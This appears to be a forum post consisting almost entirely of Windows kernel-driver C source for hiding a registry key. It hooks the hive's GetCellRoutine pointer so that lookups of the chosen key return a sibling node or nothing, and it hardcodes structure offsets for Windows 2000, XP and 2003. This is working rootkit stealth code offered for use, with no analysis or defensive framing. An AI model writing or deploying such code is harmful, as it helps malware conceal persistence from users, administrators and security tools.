2,644
社区成员




PGET_CELL_ROUTINE OrigGetCellRoutine = NULL;
PGET_CELL_ROUTINE *OrigGetCellRoutineAddr = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS ntStatus;
UNICODE_STRING KeyNameUnicodeString;
OBJECT_ATTRIBUTES ObjectAttributes;
HANDLE hKey;
RtlInitUnicodeString(&KeyNameUnicodeString, pwcsKeyName);
InitializeObjectAttributes(
&ObjectAttributes,
&KeyNameUnicodeString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
NULL);
ntStatus = ZwCreateKey(
&hKey,
KEY_READ,
&ObjectAttributes,
0,
NULL,
REG_OPTION_NON_VOLATILE,
NULL);
if ( !NT_SUCCESS(ntStatus) )
{
return NULL;
}
return hKey;
}
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS ntStatus;
PCM_KEY_BODY pKeyBody;
PVOID KeyControlBlock;
if (hKey == NULL)
return NULL;
ntStatus = ObReferenceObjectByHandle(hKey,
KEY_READ,
NULL,
KernelMode,
&pKeyBody,
NULL);
if (!NT_SUCCESS(ntStatus))
{
return NULL;
}
KeyControlBlock = pKeyBody->KeyControlBlock;
ObDereferenceObject(pKeyBody);
return KeyControlBlock;
}
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)OrigGetCellRoutine(Hive, Node->Parent);
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)OrigGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)OrigGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
if ( Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
return OrigGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
return OrigGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
PVOID HookGetCellRoutine(PVOID Hive, HANDLE Cell)
{
PVOID pRet = OrigGetCellRoutine(Hive, Cell);
if (pRet)
{
if (pRet == g_HideNode)
{
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
if (pRet == g_HideNode)
pRet = NULL;
}
else if (pRet == g_LastNode)
{
pRet = g_LastNode = NULL;
}
}
return pRet;
}
VOID UnHideRegKey()
{
if (OrigGetCellRoutineAddr)
*OrigGetCellRoutineAddr = OrigGetCellRoutine;
DbgPrint("UnHideRegKey\n");
}
NTSTATUS HideRegKey(IN PWCHAR HideKeyName)
{
ULONG BuildNumber;
ULONG KeyHiveOffset;
ULONG KeyCellOffset;
HANDLE hKey;
PVOID KCB, Hive;
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL))
return STATUS_NOT_SUPPORTED;
switch (BuildNumber)
{
case 2195: // Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600: // WinXP
case 3790: // Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
hKey = OpenKeyByName(HideKeyName);
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
OrigGetCellRoutineAddr = &Hive->GetCellRoutine;
OrigGetCellRoutine = Hive->GetCellRoutine;
g_HideNode = (PCM_KEY_NODE)OrigGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
Hive->GetCellRoutine = HookGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}